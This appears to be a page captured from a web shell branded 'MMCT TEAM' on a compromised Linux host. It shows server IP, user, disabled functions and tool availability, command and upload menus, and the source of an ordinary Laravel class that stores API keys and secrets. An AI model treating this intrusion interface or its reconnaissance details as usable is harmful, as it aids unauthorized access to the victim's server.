MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/hrms.ncriptech.com/app/Repositories/Settings/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/hrms.ncriptech.com/app/Repositories/Settings/ApiSetupRepository.php
<?php

namespace App\Repositories\Settings;

use App\Models\Settings\ApiSetup;
use JasonGuru\LaravelMakeRepository\Repository\BaseRepository;
//use Your Model

/**
 * Class ApiSetupRepository.
 */
class ApiSetupRepository extends BaseRepository
{
    /**
     * @return string
     *  Return the model
     */
    public function model()
    {
        return ApiSetup::class;
    }

    public function update($request)
    {
      try {
        $current_setup=$this->model->query()->where('name',$request['name'])->first();

        if($current_setup){
            if (isset($request['other'])) {
                $other_setup=$this->model->query()->wherein('name',$request['other'])->update(array('status_id' => 4));
            }

            $current_setup->status_id=1;
            $current_setup->key=$request['api_key'];
            $current_setup->secret=@$request['secret'] ?? null;
            $current_setup->endpoint=@$request['api_endpoint'];
            $current_setup->save();
        }else{
            $current_setup=new ApiSetup();
            $current_setup->status_id=1;
            $current_setup->name=$request['name'];
            $current_setup->key=$request['api_key'];
            $current_setup->secret=@$request['secret'] ?? null;
            $current_setup->endpoint=@$request['api_endpoint'];
            $current_setup->company_id=auth()->user()->company_id;

            $current_setup->save();
        }


        return true;
      } catch (\Throwable $th) {
        return false;
      }

    }

    public function location_api()
    {
      try {
        $data=$this->model->query()->where('name','barikoi')
        ->select('key','secret','endpoint','status_id')
        ->first()->toArray();
        return $data;
      } catch (\Throwable $th) {
        return [];
      }
    }

    public function getConfig($name)
    {
       try {
        $data=$this->model->query()->where('name',$name)
        ->select('key','secret','endpoint','status_id')
        ->first();
        return $data;
       } catch (\Throwable $th) {
        return null;
       }
    }
}

MMCT - 2023